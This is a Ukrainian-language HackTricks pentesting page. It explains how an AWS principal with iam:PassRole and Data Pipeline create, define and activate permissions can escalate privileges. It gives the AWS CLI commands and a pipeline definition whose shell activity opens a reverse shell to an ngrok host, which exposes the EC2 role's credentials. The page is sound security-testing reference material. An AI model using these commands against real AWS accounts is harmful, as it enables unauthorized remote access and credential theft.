AWS - Datapipeline Privesc

Support HackTricks

datapipeline

Для отримання додаткової інформації про datapipeline перегляньте:

AWS - DataPipeline, CodePipeline & CodeCommit Enum

iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

Користувачі з цими дозволами можуть підвищити привілеї, створивши Data Pipeline для виконання довільних команд, використовуючи дозволи призначеної ролі:

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

Після створення конвеєра зловмисник оновлює його визначення, щоб вказати конкретні дії або створення ресурсів:

{
"objects": [
{
"id" : "CreateDirectory",
"type" : "ShellCommandActivity",
"command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn" : {"ref": "instance"}
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id" : "instance",
"name" : "instance",
"type" : "Ec2Resource",
"actionOnTaskFailure" : "terminate",
"actionOnResourceFailure" : "retryAll",
"maximumRetries" : "1",
"instanceType" : "t2.micro",
"securityGroups" : ["default"],
"role" : "assumable_datapipeline",
"resourceRole" : "assumable_ec2_profile_instance"
}]
}

Зверніть увагу, що роль в рядках 14, 15 та 27 повинна бути роллю, яку може прийняти datapipeline.amazonaws.com, а роль в рядку 28 повинна бути роллю, яку може прийняти ec2.amazonaws.com з профілем EC2.

Крім того, EC2 інстанс матиме доступ лише до ролі, яку може прийняти EC2 інстанс (тому ви можете вкрасти лише цю).

aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json

Файл визначення конвеєра, створений атакуючим, містить директиви для виконання команд або створення ресурсів через AWS API, використовуючи дозволи ролі Data Pipeline для потенційного отримання додаткових привілеїв.

Потенційний вплив: Пряме підвищення привілеїв до ролі служби ec2, що вказана.

Посилання

Support HackTricks

Last updated